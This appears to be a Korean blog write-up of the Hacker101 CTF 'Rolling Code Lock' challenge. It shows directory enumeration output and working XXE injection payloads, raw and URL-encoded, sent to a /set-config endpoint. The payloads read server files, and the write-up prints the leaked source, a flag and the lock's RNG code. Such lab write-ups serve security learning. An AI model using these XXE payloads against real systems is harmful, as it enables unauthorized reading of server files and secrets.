Model E1337 - Rolling Code Lock (Hard, 7)
Flag0
dirsearch를 돌려보면 /admin 페이지가 보인다.
Extensions: html | HTTP method: get | Threads: 4 | Wordlist size: 6030
Error Log: /home/syine/repos/dirsearch/logs/errors-20-02-20_18-45-30.log
Target: http://34.94.3.143/ab97b1c4d1/
[18:45:30] Starting:
[18:46:16] 200 - 2KB - /ab97b1c4d1/admin
Task Completed
|
페이지에 주석으로 get-config를 사용한다는 등의 팁이 적혀 있다. /get-config에서는 XML 형식의 파일을 준다.
/set-config에서 data에 config를 전달해서 값을 수정할 수 있다. XXE Injection으로 파일을 읽어서 플래그를 가져오면 된다.
./Dockerfile
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "Dockerfile"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22Dockerfile%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E
|
FROM jfloff/alpine-python:2.7
WORKDIR /app
ADD requirements.txt /app/
RUN pip install --trusted-host pypi.python.org -r requirements.txt
ADD . /app
CMD ["bash", "prestart.sh"]
|
./uwsgi.ini
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "uwsgi.ini"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22uwsgi%2Eini%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E
|
[uwsgi]
module = main
callable = app
|
./main.py
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY leak SYSTEM "main.py"> ]><config><location>&leak;</location></config>
http://34.94.3.143/ab97b1c4d1/set-config?data=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%3C%21DOCTYPE%20test%20%5B%20%3C%21ENTITY%20leak%20SYSTEM%20%22main%2Epy%22%3E%20%5D%3E%3Cconfig%3E%3Clocation%3E%26leak%3B%3C%2Flocation%3E%3C%2Fconfig%3E
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
#
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^09e2250108bbacd441cbeb95eb148d1f91dcdf56db06774a52b830eba4c75b6b$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '
|
Flag: ^FLAG^09e2250108bbacd441cbeb95eb148d1f91dcdf56db06774a52b830eba4c75b6b$FLAG$
Flag1
./rng.py 는 아래처럼 생겼다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import random
#
def setup(seed):
global state
state = 0
for i in xrange(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for i in xrange(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in xrange(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
#
|
Reference
https://portswigger.net/web-security/xxe
'Wargame > Hacker101 CTF' 카테고리의 다른 글
[Hacker101 CTF] Petshop Pro (0) | 2020.02.19 |
---|---|
[Hacker101 CTF] Ticketastic: Live Instance (0) | 2020.02.19 |
[Hacker101 CTF] Postbook (0) | 2020.02.19 |
[Hacker101 CTF] Cody's First Blog (0) | 2020.02.18 |
[Hacker101 CTF] Photo Gallery (0) | 2020.02.18 |